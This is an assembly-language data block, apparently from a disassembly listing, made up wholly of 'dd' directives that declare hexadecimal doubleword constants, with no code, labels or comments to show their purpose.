dd 0E7AE3507h, 4FE05A14h, 3E2016ACh, 180A9FBh, 0A897E8ECh
dd 0D3F87556h, 0B2EB8E00h, 0AA055F71h, 58531750h, 0C8ACF047h
dd 0B39F1400h, 374A0460h, 8C661FAAh, 0C73E1CCEh, 0FEEC71Dh
dd 2E35A6A0h, 0BC00C9BFh, 81100540h, 41878h, 7554D7B1h
dd 0C2A4AC15h, 77A4848h, 81274A58h, 0F3EB2053h, 0B204D085h
dd 145C77D7h, 0CD0EC862h, 2CF82401h, 0CD5EC390h, 1EF2E074h
dd 0CCE1A300h, 80ED6A29h, 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh
dd 38D4923Fh, 66A28010h, 25439F0h, 7A8600E8h, 0EE8AC8E0h
dd 0CD00AF42h, 0F00D217Fh, 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh
dd 0CB8362C6h, 8065DF39h, 11B3E882h, 9545F02h, 3C995C31h
dd 0D95EC000h, 0E80B9C13h, 80C15274h, 699208CAh, 0B963398Dh
dd 4AB68000h, 18201514h, 7AA20C01h, 4352DF90h, 973477E5h
dd 9CE47Dh, 0E8C28B30h, 0A73D322Ah, 16032500h, 59396491h
dd 0B66E390Ch, 0FE701080h, 131ED48h, 87E86700h, 46BA44Dh
dd 88E422h, 0A8903419h, 80282429h, 0E0103D02h, 0C0135074h
dd 0FBBB9E3h, 0D75B059Eh, 5CA7F320h, 0F7044C0Bh, 0C139E034h
dd 2E4E9980h, 92D0006Fh, 40A5C779h, 0D400CF7Fh, 64882238h
dd 4B5073h, 4C20AA52h, 0D60CBED8h, 21AE2701h, 3F2C8F16h
dd 1CF5CD4h, 5ABB4A3Ch, 307B71ABh, 8000019Ch, 742DFC78h
dd 0B8D71Eh, 135DB2A4h, 0DE2F0451h, 4F5A8000h, 0E16A88C6h
dd 34E252h, 6789D877h, 0E5D7B8A7h, 6500C275h, 2EE19608h
dd 1E58595Bh, 0BA64354Bh, 825AB501h, 0F4D0D727h, 0F000ADE9h
dd 0EB3F19A8h, 8AE705h, 0BC84A663h, 5C766AE1h, 0E810C004h
dd 0FAC04607h, 12D11Bh, 47653D1Dh, 0E688554h, 8ECE3EFAh
dd 0CFABAA50h, 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h, 4F0B2A51h
dd 0C95C00CFh, 44B942C2h, 0BA1E4813h, 825FD378h, 3C7A9882h
dd 1CA66032h, 36DC00B8h, 130EBF15h, 71011A74h, 64FDBBBAh
dd 0DF61EB7Fh, 0FE2FF4h, 0B2799554h, 0A7D3A45Ah, 0A35B9800h
dd 6E200775h, 47741C6Fh, 7B80BC66h, 144450D1h, 45004840h
dd 30204F4Ch, 3E7355h, 3A69572Eh, 0ACDE6874h, 0B498C4A0h
dd 3B498700h, 92F0D5AFh, 29F700FBh, 0EFE388C5h, 0FC00A23Ch
dd 351B9886h, 2F9CB8h, 0EB4E90E2h, 8B3301C0h, 4967C807h
dd 0ABF4BA3Ch, 2B736980h, 0A8420020h, 0FEA32D9Fh, 62002C03h
dd 0A75D253h, 0A54494h, 0E38F8BDDh, 49F3C755h, 3CF8F970h
dd 800CFC3Dh, 7CA3853Eh, 4AF1ABD5h, 58B812h, 0E233545Bh
dd 8D49D2h, 22F7EE4Dh, 0D5E42878h, 694EF900h, 0F17F7B32h
dd 19C23E5Fh, 0F22BD101h, 0C008BCF5h, 4900414Dh, 5246204Ch
dd 1C3AF04Fh, 40885BEDh, 0B047DE9Ah, 1509A1E2h, 14008E4h
dd 205450DEh, 5E4FE0h, 1CCCA3Ah, 0DD0814E8h, 0D85D8900h
dd 0EE4E3250h, 698F05AFh, 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h
dd 94D9A4C7h, 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h
dd 3B63F059h, 3EC3064h, 0C429C314h, 77BB4418h, 0F622CAF0h
dd 0D443BA00h, 0A137C99Dh, 0B8CF00A7h, 2173BE1h, 25B0C1ECh
dd 0E6004298h, 6B2CAB38h, 470FF4h, 94688D8Bh, 3B42406Eh
dd 0A701DC03h, 0D857CBF3h, 0B441C14h, 0D8A65441h, 4612F880h
dd 6D07C861h, 205C8725h, 0F4FBFFE0h, 88090028h, 7F977553h
dd 2A008DADh, 8A2C144Ch, 922BDFh, 2D5E2858h, 32B3C9E5h
dd 0F3781600h, 616CC82Fh, 6E3E0069h, 68631D3Bh, 1F0072D6h
dd 493DC024h, 2D4F53h, 7535E238h, 4C315639h, 0E21293Dh
dd 40437ACBh, 45E5ED66h, 6F633BF4h, 67706480h, 62382C8Ah
dd 0F627561Eh, 53F45881h, 97E47D91h, 70830F7Eh, 8525E6C8h
dd 5FE983C9h, 0B725D5B8h, 1092D400h, 0EC4F6A7Fh, 0D32300B4h
dd 0E6CF62D6h, 0A531266Fh, 686ECCFFh, 35343D0h, 4CE7A3B8h
dd 9FE96958h, 5251F8F4h, 38F7EF00h, 39829794h, 3A413CE7h
dd 881400F3h, 0A484C06Ch, 103F2A8Bh, 8A88F40h, 3839A042h
dd 701AAF0h, 4A4784Ch, 0F61560AFh, 501C820h, 30C16590h
dd 0AF81910h, 0F36FE29h, 0CA08C060h, 2D81CC69h, 0F42B2C05h
dd 957D5A64h, 4D282703h
dd 0B81DD9E2h, 0E46EC161h, 0A560073h, 70DDB898h, 663F5269h
dd 804036Ch, 0A04650A1h, 0EC37Ch, 0B6D7EBE8h, 8D8157B4h
dd 320780E2h, 1C54B09Ch, 1E0E405Eh, 0F194E9F5h, 154FD0FBh
dd 73E3B06Bh, 483C019Ah, 743E7F6h, 670C86Fh, 44ED7900h
dd 5D977854h, 3484000Ah, 5817DAF9h, 0D40AF791h, 0E57538A0h
dd 0A26D2A00h, 717464h, 8D704C52h, 453CAE72h, 39403Ch
dd 0D05F5089h, 5BBD94h, 75488555h, 7D8AF9F6h, 742FE73Fh
dd 0FEFFF800h, 173EF82h, 2E90B63h, 0F38065D9h, 888B1BA0h
dd 956F7400h, 28692C91h, 0DF034C5Ah, 0D91FE905h, 92038099h
dd 2000686Ah, 0FD858D55h, 0B8BE81DFh, 0D8F60B3Ah, 8500A101h
dd 492F8A7Eh, 57281707h, 1DC095ECh, 750A5B9h, 16294A7Bh
dd 5FB43025h, 0AB0090EAh, 0C449C60Eh, 1AD93680h, 404C6728h
dd 8DE959E0h, 8E73297Bh, 592D3Bh, 0FB3AE571h, 4E182Ah
dd 0C9825CA6h, 0F51A8D89h, 0F0FC8700h, 5768BDA2h, 9F7A3C96h
dd 0F8423180h, 49BF14EAh, 1DEB1903h, 0C388C892h, 0FB83AB90h
dd 57ED00Ch, 61300FB8h, 0E7E0558Dh, 0AF918696h, 0C32D321Dh
dd 82C8C0CAh, 60C4A00h, 26D858Ah, 25ECB5BBh, 18E01844h
dd 6E00EB2Ch, 0A7D04936h, 1D28E6h, 1AC83C42h, 0CB24C90h
dd 2958241Eh, 399E82C0h, 76481730h, 2E2D0064h, 0EB50B11Ch
dd 8E00BBD6h, 0BD800A65h, 0B88269h, 203FFA6Ch, 0BADAF8Bh
dd 4B214E01h, 0E15E0CB3h, 0E73ECh, 804F3332h, 6B447629h
dd 0F8CA5D1Ch, 0E88010DEh, 0C55765E3h, 0B0200B5h, 5EEB8C68h
dd 4500DA0Fh, 0EAFF8995h, 78E9AF74h, 55A7011Dh, 598AC47h
dd 5C06607Dh, 4B00DAF2h, 2C3E20CEh, 1D921CD2h, 0C0D5C9E9h
dd 93C8F9D3h, 0E8FAD8FDh, 0A4F9B750h, 689D3B00h, 0A879AF2Fh
dd 1CC9043h, 0CB8588Ah, 0E4E54020h, 0C17CA7C8h, 0AF7A4807h
dd 0E9C0D90Fh, 1F64F5A4h, 6629EEh, 8F100E8Ah, 500A5ECh
dd 3101B9EDh, 3EA263D5h, 0D803C6Dh, 0B4E14CDAh, 61003FECh
dd 0AFBC683Eh, 40DB14h, 9E97E805h, 0F77BF6FDh, 0ECCC1112h
dd 14F45A00h, 0F816A037h, 0D8450084h, 9F89AB25h, 0D97906BAh
dd 0B8EE6902h, 43F28D4Bh, 0B794E063h, 10520220h, 0F3D76D7Bh
dd 770E8960h, 9DD96900h, 0ECE4AF02h, 24F57945h, 4A9216h
dd 6ABE5A7Ch, 2C704ED1h, 4F880E00h, 5122036Eh, 72710066h
dd 5660A06Dh, 64002567h, 21F8966Ch, 79C9534Fh, 8A936734h
dd 458EDE1Eh, 25AFB4A0h, 0F700ABD4h, 0EDCF16D5h, 784AEA7h
dd 31EFBB83h, 0B09E6039h, 0BA00280Dh, 69B1EDE4h, 50FC60h
dd 1DA2838Bh, 0C64507FDh, 9012DD00h, 0BCC8B01Ah, 21C01E11h
dd 22C44FACh, 0CC21F032h, 0A4D04400h, 0D8D44086h, 0CA00189h
dd 12E081DCh, 0C03E719Ch, 680084E8h, 90B48521h, 3F032ECh
dd 0D51AC435h, 8BD86CB0h, 0AA3C064Bh, 0D96A9E89h, 0B6AB4580h
dd 0D6C447h, 0F84E2EEDh, 951B3C8h, 70C47550h, 25290209h
dd 0CBAD8078h, 0FE32AD61h, 42140063h, 50628864h, 8E676973h
dd 3F838A10h, 937C9C5h, 8FBC4h, 50C15C6Bh, 0A685EF41h
dd 589F4403h, 0C0E23DA4h, 4CF7F6h, 0F8324AF9h, 434838CFh
dd 0CCAA2700h, 335DE10Dh, 20F076Eh, 31A6FFB8h, 0C819F8E9h
dd 1B5CDD7Ch, 4C0B00A9h, 0DBF3489Bh, 621F3F69h, 4E62B8Eh
dd 0B6700F80h, 102BA25h, 68B0A27Bh, 0AF4FE0F4h, 0D427012Fh
dd 75330518h, 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h, 1AEC57Ch
dd 753AAC68h, 0CCA16D48h, 81003CEFh, 266AFBD7h, 0A09C4Ch
dd 420D312Dh, 2409940Ah, 13C4400h, 6B40716Dh, 3FC50060h
dd 5CE6B033h, 2D3B18A5h, 5BF78009h, 468BEA08h, 9102022Eh
dd 2CB90B78h, 534B8F40h, 76008778h, 0D1D77F2h, 8F010h
dd 8C022249h, 53140446h, 38838001h, 2F26D49Eh, 206A30h
dd 3C705B9Fh, 0F233B85Fh, 0CFC40B00h, 79084725h, 0F8D1EAD3h
dd 0FE8CFE84h, 4B98038Ah, 0A01636A3h, 608657C7h, 424611ACh
dd 8771EC0Eh, 20A18E10h, 0E6F5DE14h, 0B394001Ah, 82E8950Fh
dd 0B90001E0h, 0B7AE53DDh, 9078764Ch, 416900DAh, 0B416E421h
dd 0E31E6891h, 198345DCh, 98E02C10h, 78C6CA1h, 84DE3388h
dd 0BAE3C0A2h, 77006355h, 790A9CABh, 1700BF0h, 1B22F34Bh
dd 0E7EA1415h, 57C0CBC3h, 8500E118h, 0C1A5AEDCh, 3014C210h
dd 0FB22958Bh, 3D0053D8h, 0A0654827h, 60683C49h, 18E7AE05h
dd 500037F7h, 5514A2A1h, 7674129Ah, 9E210076h, 1CA4D822h
dd 95032991h, 0B81A118Bh, 1873884Ch, 0D485020Ah, 0C9A2437h
dd 892727E0h, 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh, 0AC903C29h
dd 0E400B0C8h, 19B43240h, 441CB8h, 7EBC4386h, 7C87A684h
dd 0C4548906h, 1AC812h, 91CC214Ch, 28BF48D0h, 0B6D9500h
dd 5B9038Bh, 2B363D96h, 2CDFD400h, 3CD7AD8Eh, 8D711718h
dd 5A39ECh, 3E98B2BAh, 99285295h, 513EACB8h, 8370147h
dd 218E428Fh, 0C6E5E8h, 7DB15EBDh, 4A8513F2h, 0D70669FCh
dd 0BA120523h, 8BE7002Eh, 533509D0h, 570040DCh, 39717064h
dd 4A6C6Ah, 249FEBC5h, 4803E29Dh, 650063F4h, 779A4166h
dd 0F5D50CAh, 640EE09Ch, 473D2080h, 757C255Bh, 7F888E00h
dd 0A614FAFDh, 784A0B10h, 0A804C8Fh, 6D0B735Fh, 93054FF2h
dd 22EC8488h, 0F454B7C0h, 79F07906h, 0FCB76B0h, 4E7930F8h
dd 0FC2D8580h, 1E00C47Eh, 0C24FDAECh, 0A0F786h, 27E853BFh
dd 7C26B549h, 800D0F3Bh, 0CE57036Ah, 7FF64CDh, 93536F30h
dd 7D4B7169h, 3E5A30EAh, 77DB0A16h, 4F8C703h, 0A801B874h
dd 0D09B0044h, 788D102Ah, 4D00E0DFh, 0FA591703h, 0AA0D8Eh
dd 0BA439185h, 7EADB474h, 5510D500h, 0EEB1612Eh, 8838002Ah
dd 9BBDEC85h, 9709DFABh, 5C201656h, 30F90079h, 948DE406h
dd 3E179500h, 5A57CDB9h, 0CFC50312h, 0F455116Ah, 3D2A4590h
dd 0E22E8107h, 0D321B2DBh, 79CCC954h, 7CF300A5h, 0D02DC8A4h
dd 7500241Eh, 0F225AC6Ch, 2C3A7649h, 0A6F697h, 70714130h
dd 69006C13h, 86A9AC63h, 630E6420h, 94FD28F2h, 0B202D3D8h
dd 0B700A0EAh, 0FC8E41F5h, 3C3E96DBh, 0E980D088h, 0D20F3510h
dd 7C1F909Fh, 69C7B78Ch, 1CF093C2h, 0B8F403h, 226ECE8h
dd 352504A1h, 52BCE00h, 0D5D3A79Ch, 0F7BE0011h, 0E5971042h
dd 8203A54Ah, 480EF6C1h, 99D5C019h, 94E701BEh, 6186662Ah
dd 0B8ECF450h, 7D0E1803h, 0B83D22DDh, 2B29Dh, 139B5A25h
dd 5772ACF8h, 0D6E46E00h, 99082788h, 0B24F0324h, 3F8A491Fh
dd 1C714AE0h, 0EF225Ch, 0EF42BD9Ah, 3B09D2h, 2ABCAC45h
dd 8F5BEE1h, 0BA38E407h, 0F8774307h, 0CB30B0D3h, 352C883Ah
dd 362A009Dh, 34283D06h, 74399110h, 677200C0h, 62431D70h
dd 64C30077h, 0A1286D66h, 5C036568h, 8A976318h, 12F1A80Bh
dd 5D405C10h, 6A6E0900h, 8F0E6560h, 2668A000h, 1A786255h
dd 7D7B0067h, 0E4F3DD28h, 0F600BE42h, 7A389514h, 0F99A156h
dd 9BE80435h, 2760A2E0h, 0C5007625h, 0DA49CC1Ah, 7FE04890h
dd 0E6CB0028h, 0EB144F22h, 0DE006A23h, 9025F42Ah, 280421BFh
dd 0A8EAF7h, 0C58B0745h, 94CF77F6h, 41DC490Bh, 75B18089h
dd 63F816h, 64535110h, 77712407h, 700073E6h, 62752676h
dd 777C691Ch, 0F9900029h, 5C244A15h, 6B7F074Ch, 57006F7Fh
dd 197BC728h, 0A02A1405h, 955689h, 24848913h, 836AA372h
dd 0EBF4220Fh, 0BCEFF7h
dd 4BD79001h, 19200049h, 6BC48B7Eh, 0CC0256BAh, 2566B322h
dd 64D7867Ah, 49E700E2h, 5614E350h, 0C800B801h, 130FABCAh
dd 29ACD8h, 0C32DCE3Bh, 276AE45Ch, 21574509h, 9A07D751h
dd 0A050B72Ah, 0A907ED97h, 0B2112B00h, 0AD2F5FE9h, 0CB1B48F7h
dd 0BB35BC00h, 9FAA141Dh, 0D9EE9200h, 46163AF4h, 0A319030Ah
dd 0CFD8254Fh, 458655F8h, 48125B7Ch, 0ED00A60Eh, 401F496Eh
dd 754A0047h, 13836653h, 200107Dh, 0C16AF90Ch, 7FC317h
dd 4B8142EBh, 2C0AD520h, 892F1301h, 0D40708F6h, 0FC64C4ECh
dd 0F748001Fh, 0DCC31645h, 21072EE6h, 0E319920Fh, 31590840h
dd 31B97A2Bh, 0BFEA3648h, 0D0856009h, 0EEFF2800h, 0ADC705Fh
dd 15890004h, 64A87B0h, 2D501245h, 68056ED0h, 0EF82CD8h
dd 403FB687h, 0D102AAD6h, 0BB400293h, 0C855F5E2h, 0BA8560C0h
dd 75F7CC00h, 48AC955Ah, 4AB90013h, 11F4ADD7h, 803908C4h
dd 4EEC4EC9h, 9884FB14h, 10146A00h, 398F32FFh, 395BAB2Ch
dd 77404E1Dh, 0D920E52Ch, 307A45h, 2D83DC05h, 0A10B40C4h
dd 2B6BE802h, 0E1A32341h, 77F01879h, 0D4E00FC7h, 6CA0F82Ah
dd 5708E999h, 0E152F903h, 782A8CEh, 50B814A4h, 5F9E40D5h
dd 64B8CA4Ch, 68F95E0Fh, 332DA083h, 7AB4F001h, 58A7035Ah
dd 0B82005B5h, 0E02AAAD9h, 0FC7050C4h, 0A5093Bh, 34058EB4h
dd 24F397ADh, 4F16A4h, 0E80183B8h, 39005E33h, 980A7448h
dd 161506h, 20135DD1h, 0EFC138EBh, 2FFA2400h, 34CA2EA3h
dd 4479030Eh, 6454231Bh, 0E26E3988h, 52DC7C00h, 0E4DAEA32h
dd 33560071h, 0FB35C810h, 4002C94h, 34301C84h, 162238h
dd 0EFFA8068h, 28E21065h, 3732C400h, 0EA9DE860h, 432E00C0h
dd 74276E61h, 6C00201Dh, 0A64DA6Fh, 3FC41A77h, 28731E58h
dd 18B22C3h, 5A9EFC08h, 0EB540584h, 0EC1811E9h, 8D01801Ch
dd 0F0524F0Ch, 88C05C15h, 83420168h, 0F1750AFAh, 7EC06EBDh
dd 6C9ED5h, 0FF558817h, 82297F3h, 0EC832500h, 10111C93h
dd 5C01750Ch, 213B7F6h, 0C34C002Dh, 0A80D03D6h, 18D38400h
dd 22155F2Fh, 6A6B0320h, 8AA2D55Ch, 0CFA132A3h, 37F2F4AFh
dd 4700EAB8h, 8524F710h, 1482C7h, 0CB560B23h, 0C47FBE4Eh
dd 0C07B0300h, 48C39428h, 1B2500C8h, 0B00C5793h, 473B3140h
dd 224E0053h, 8126A01Ch, 0C3511FBCh, 766DC00Bh, 482F680Ah
dd 1BDEFC01h, 2041A452h, 8D3BE8h, 0B8E72490h, 89F89F5Eh
dd 8A0FFC30h, 0AD6D22h, 77C90576h, 833AFBC4h, 9DF00805h
dd 0B240E8D4h, 1130222Ch, 7C097234h, 9F370744h, 2079D5EAh
dd 0C5B55DF8h, 0C3647200h, 8870B7AAh, 5A7C36h, 0F89838FBh
dd 0D9ED63E9h, 670E8900h, 87F8310h, 0EF9200DCh, 0EB755AA9h
dd 5DFAC244h, 0B2A8DB00h, 0B41B2C34h, 431C0736h, 4F8E7630h
dd 0E0380979h, 0B4009086h, 3EE8B0Eh, 8482EDh, 535718EFh
dd 2019320Bh, 0FCA41400h, 0CDDE752Ah, 5E40ED4h, 2C201021h
dd 34443088h, 0EB382000h, 0DA7E9732h, 84F000C4h, 0B4A2EF46h
dd 0AA00073Dh, 0B7B63FC2h, 482A4Dh, 31918757h, 0C39ADFA5h
dd 770DA900h, 49C2C6E9h, 0FC2E000Ch, 1CC7B2C9h, 0D89D0EF7h
dd 5CE8078Fh, 0F037B1B5h, 7A9D5443h, 0A1978200h, 0E4BB8335h
dd 72321D2Fh, 7BA6009Fh, 95431518h, 3A24223Ah, 1F2C3C8Bh
dd 7E404981h, 4C09A9ABh, 40FC8Dh, 1FF752F5h, 0B46B76FFh
dd 7B81100h, 7A31BC4Bh, 836C0014h, 0FF09B068h, 0E0003D5h
dd 0E0987ED6h, 0EA508D63h, 12723892h, 2B2C6B00h, 7DB68E8h
dd 0D55B3B00h, 6C0251ACh, 0D4055810h, 0F825E003h, 33D82A78h
dd 5E019722h, 7707C4E7h, 0E430EDD0h, 13AD002Ch, 0B3034F05h
dd 0D678A226h, 59957700h, 50408ABBh, 9DAC00C7h, 0C42C9B5Dh
dd 4400E6EBh, 0AA4F453Dh, 1CB0DE92h, 801F645Fh, 8E00CB4h
dd 0DC1F16B8h, 26002C2Ah, 69A6FAFCh, 68A0032h, 0EEF17D50h
dd 5A00EB99h, 20D803BCh, 40C00Ch, 5DFEC4D4h, 1DF8C85Bh
dd 639D7C00h, 62046942h, 16FA009Bh, 3640C611h, 0B1002266h
dd 63144D67h, 38BC5F68h, 1A808D3Ch, 0A3F3AC3Eh, 60E62FBh
dd 8029BB36h, 0F4531B6Ah, 43141D10h, 0ED5CE3Ah, 13FCBE0h
dd 0F0037D89h, 0CDAA0FB0h, 42AB9085h, 4EC0128h, 17BF39EBh
dd 0E488E052h, 63844407h, 0B2E0AAE0h, 0F379A27h, 537F5FBAh
dd 0F081A947h, 8BF3C3B0h, 89E4F007h, 9050F6F8h, 0E6720A78h
dd 41020048h, 646D69A9h, 0BD0033EEh, 0ADDCB368h, 22EA54h
dd 0FC44D815h, 7198A5D4h, 0A18F000h, 5EBD7943h, 0D0C80122h
dd 0D6CCA7F6h, 0DF5F7052h, 6F3D2900h, 9B177293h, 0FB5F0024h
dd 3B052BA3h, 730E0C58h, 250181EFh, 7A871942h, 9CC0B544h
dd 2F3031C7h, 0C37ED92Bh, 3858BF00h, 0E636A6h, 0FDBEBA70h
dd 69ABD42Fh, 78D80D00h, 4F71CCE8h, 0BC8D2CEAh, 8BF00032h
dd 0BF99E455h, 81DE5E3Bh, 0C6AB6BFBh, 21E82AE0h, 9D430712h
dd 90C2C788h, 18E7E4AAh, 1C750500h, 45724019h, 0BEBC0117h
dd 0C9744792h, 8E89305Eh, 1405CC2Ch, 1345F500h, 0EC6A6093h
dd 0F762018Ch, 25F25886h, 0B9830B9h, 4F071EEAh, 0AEE83EFFh
dd 9E369CA0h, 0EC200E4Dh, 5EE02384h, 75AD19A9h, 1741090Fh
dd 70038557h, 29DACC0h, 76DC00E8h, 8199101Ah, 0C01DFDF3h
dd 8B005B07h, 0D619917Fh, 94090022h, 0E76AA888h, 2901A263h
dd 0F5A75DF3h, 4AC41D8Dh, 68530081h, 0AD6F8A4h, 94287506h
dd 0CD00E954h, 0F210B329h, 22CD5A7h, 34970D31h, 740F649h
dd 9B3CCEBCh, 20A28094h, 0E17D41Eh, 388700C5h, 3B56422Eh
dd 0D60028C8h, 1BD29990h, 9876572Dh, 4B100059h, 0A5583553h
dd 0E3000B44h, 523B2C3Dh, 179382Ah, 0F469BD16h, 0E45E1739h
dd 8000BA0Bh, 5261C91Fh, 0EA6FF72h, 3D7B2416h, 65AB7160h
dd 6660233Eh, 0C12BC6E8h, 0C3FCE4h, 1653F2D4h, 2F7D044Ch
dd 8010973Eh, 30A47CBAh, 1BD395Fh, 0F886B774h, 0EC66F7B2h
dd 24003E96h, 135EEC21h, 16878Ah, 0FA23D52Fh, 36E8A952h
dd 58787D90h, 0F2549B00h, 84A30277h, 0B96D001Fh, 0AE37FB79h
dd 3B012711h, 2887A2ECh, 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch
dd 9D0065A1h, 429AC8Eh, 6A13DAh, 0A662E756h, 0A4D7471Fh
dd 5FDF2Dh, 0A062C7Bh, 15E8EDCBh, 0C6386084h, 0C6647DE0h
dd 912871Fh, 0B6EBCD07h, 0FFCFFBF0h, 243C00F9h, 2E7FDA91h
dd 4D5CD293h, 3F070089h, 0B88B08D5h, 77A41DDFh, 48A680ABh
dd 0D011AFA3h, 26B9071Fh, 8458BB40h, 3768EB5h, 0FF6B8FE5h
dd 17A0C321h, 743AE247h, 78A40009h, 405BC083h, 597AF3h
dd 558AC203h, 74B81820h, 28754Ch, 641C9C08h, 15D8B97h
dd 0F851A87Ch, 0FC2494E7h, 0E0175B46h, 0C0000179h, 0BA5C1347h
dd 32DD3A0Ah, 88730D83h, 8A80ED33h, 8DFE2F44h, 340571Ch
dd 282D51Fh, 0E0FD8345h, 0EEF05D1h, 0BD08778Bh, 68D5200Bh
dd 0D0978Eh, 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h, 0BE41FC55h
dd 0A0B01ACh, 0D883061Ah, 0C087617Dh, 5200148Dh, 2D974489h
dd 0CB3D6Ch, 696A2188h, 0F1FA1612h, 1F4AC800h, 3A7FF95Bh
dd 97150089h, 748F2E70h, 3006860h, 0ED754DF0h, 4A9142h
dd 0FD2F1AF9h, 627D7E9Bh, 420358h, 46204788h, 89B617h
dd 8551D687h, 18E00BA1h, 5425BA01h, 0F3137565h, 0A5E947EDh
dd 1117060h, 0A2920D42h, 0E8AB54B9h, 15FCF141h, 1CC020FCh
dd 887A1D94h, 84F40F4Fh
dd 2FCF2BF5h, 0BD857642h, 0F642AA80h, 8A3E957Ah, 0BB3C3Eh
dd 0D321A2DEh, 0F67D3DF7h, 0EF540077h, 9DAF8AFAh, 2976C24Ah
dd 671C1100h, 0A5BA582Ch, 68500762h, 37D7E344h, 132250BBh
dd 890020FDh, 31C8F09Fh, 7730E453h, 9117B28h, 5623F4B7h
dd 0B2622A8Fh, 0D0E01EF8h, 4C76FCC8h, 1628C700h, 875F8902h
dd 5B791DA9h, 0D28A40F4h, 3F71A108h, 0F120AC00h, 510C3730h
dd 89660013h, 82F0EBC1h, 49980901h, 7F59E012h, 0B39DE003h
dd 3E90F8CFh, 239A0318h, 2879AF8Bh, 104593C0h, 0D127E00Eh
dd 4203800Eh, 33F7024h, 254FF066h, 138896D5h, 1C004522h
dd 270520A8h, 0FF1455h, 0D55A56A4h, 0D0A3ABB6h, 0D7E48B00h
dd 0DA6B78E6h, 625D5C39h, 0EDCD600h, 0D0033C50h, 83C2EC3Bh
dd 9055FE78h, 7C408825h, 0F2EE0044h, 10C36003h, 4100D5E8h
dd 7B78F6EAh, 77FB0220h, 0F8E90033h, 7D9A5FCh, 6EC01609h
dd 71E8F1E0h, 23E0E23h, 0F826112Fh, 0B900EE21h, 60751735h
dd 5CCEEB8h, 9E80E56h, 4D9880D7h, 0EB00A67Ah, 0F0752283h
dd 0C3312Bh, 3BD3A0D0h, 327736F2h, 0E7B82000h, 875C48Fh
dd 0E30E00EFh, 122373D1h, 53005079h, 3C4F22AEh, 2A90D4h
dd 2941A991h, 0D15110A5h, 4A384700h, 5C2B590Dh, 9511000Ah
dd 2ABEE845h, 0C000715h, 4C78346h, 7053AF1h, 820F1A6Dh
dd 707A4051h, 0BC3C6FD7h, 5200791Ch, 0EF143065h, 0E4D0D40h
dd 0E3DB3110h, 0D0F71E02h, 85D275h, 0D8FA18F2h, 5408B324h
dd 1E1718E1h, 40CBFEDBh, 0EAE6E297h, 5F001EA4h, 72F8D4B5h
dd 0C4597Fh, 0C026FAB2h, 0E108B8BBh, 48743B00h, 0C6DE3780h
dd 85CA5803h, 7AA74C72h, 2BCD0379h, 10EB1ABBh, 6A0683F5h
dd 0D73529B0h, 5CA5E200h, 14F47970h, 2462F6EEh, 0B59428h
dd 97D103B9h, 4000806Fh, 0FA4AEBC7h, 1AC05Dh, 77C33BD9h
dd 0F23F9220h, 0ECF3CF00h, 0F7901773h, 2BD3011Dh, 105D65D0h
dd 8BBD20B4h, 3A61EB4Ch, 201E00C2h, 521572C3h, 537A3E48h
dd 2157F807h, 0EF64F0E2h, 0A000EEEh, 0B075C985h, 390561Eh
dd 0D8DBB5F3h, 0A788DECBh, 8E12225Dh, 0B1F4210h, 9184F740h
dd 80EA82h, 0FF88325h, 48202CB8h, 0F0950200h, 0E6433C9h
dd 50A75C3Eh, 0D600394Ch, 407E0CE9h, 114CFF02h, 80F0756h
dd 91F6482Eh, 3737566h, 0E888BA8Ch, 0F3E8DFA3h, 44C136AFh
dd 27D49A6Fh, 460BFCh, 56AB2C8Dh, 0B6E9434Ah, 23028301h
dd 80C3692Dh, 1932C280h, 0BC2042C7h, 0E19D2C01h, 294A8D4Fh
dd 208057DAh, 94A958F4h, 0B006DC3Ah, 2E5C34E9h, 8776032Fh
dd 714A0CAh, 21C7ACB8h, 0F048BA76h, 0A3A51E5Ch, 172061C0h
dd 0FF64845Ah, 5E85F8h, 0BBB3274Ah, 2E4BEC59h, 0C4102307h
dd 9A102B74h, 344975h, 143A7E39h, 27C3950Fh, 9421AF00h
dd 22F19DCAh, 93371F5Bh, 0BC6380BFh, 4F52740Fh, 1EA23907h
dd 8880103Dh, 16971Ah, 0C27043B4h, 0E9BBE837h, 125A7100h
dd 0E8FEF50h, 0D868001Ch, 0B3EA42D3h, 0A44CB421h, 0B12002Ch
dd 702EDD1h, 0E2B90083h, 58694A6Ch, 0C5005F28h, 5D898F5Ch
dd 7CF9531Fh, 79A000A8h, 168E4212h, 4000738Dh, 0E86D28EBh
dd 30E18h, 468A109Ch, 6492074Fh, 0C7215400h, 896FD2FFh
dd 269000ACh, 2481F505h, 7F00EA80h, 0F7C2AF82h, 0FAEFC9F8h
dd 5EFF0FC8h, 0A43E0ABh, 47B00270h, 9005821h, 6AF8E2E9h
dd 1616851Fh, 1553C08h, 0F2064369h, 0A5EEE012h, 0C9032707h
dd 0C00687Dh, 0B0F3EC80h, 6750022h, 12F3AF8h, 0F0085D7h
dd 31222F4h, 5CC3FD3Bh, 391C4A1Dh, 24CE4043h, 2DD8E83Dh
dd 3D12EA26h, 47AF4907h, 0F1AE0260h, 0C8040054h, 22289121h
dd 3A00442Fh, 30488A58h, 0EA1B8Bh, 3607A133h, 7D162CF1h
dd 7BEA03FAh, 0B215200h, 88F0C464h, 5E4789Dh, 0B1CF71B8h
dd 8E49C097h, 20009DBh, 8078BEFCh, 424412h, 0FE79B7E4h
dd 387450DAh, 1353126h, 9992803Bh, 0C2D4717Eh, 24DD005Bh
dd 0EBAE3BA0h, 41002CC4h, 823CB988h, 5C89CC29h, 63000A65h
dd 0F3E7B0FAh, 680035A4h, 0A2AEB5DCh, 0D15ED4h, 8C38600Bh
dd 56C3E850h, 8600C1E8h, 13B9E089h, 8B5B80h, 0FBC28110h
dd 0A104D614h, 3BDBDF38h, 774900D2h, 0E035FFEEh, 40655C4Bh
dd 45A4AF00h, 0E989619Ah, 5A046800h, 0AB505D28h, 87920758h
dd 872449A6h, 86B25134h, 3C71F02Bh, 7B184D07h, 0C11078A4h
dd 1D1CCC66h, 143EF8h, 4ED70889h, 83006C64h, 2F22098h
dd 112FC53h, 1C2693F4h, 0F4E7AA85h, 73013B1Fh, 8819826Dh
dd 0C6C81413h, 0C8AB00F7h, 584A4363h, 0B01F68EEh, 0CC808732h
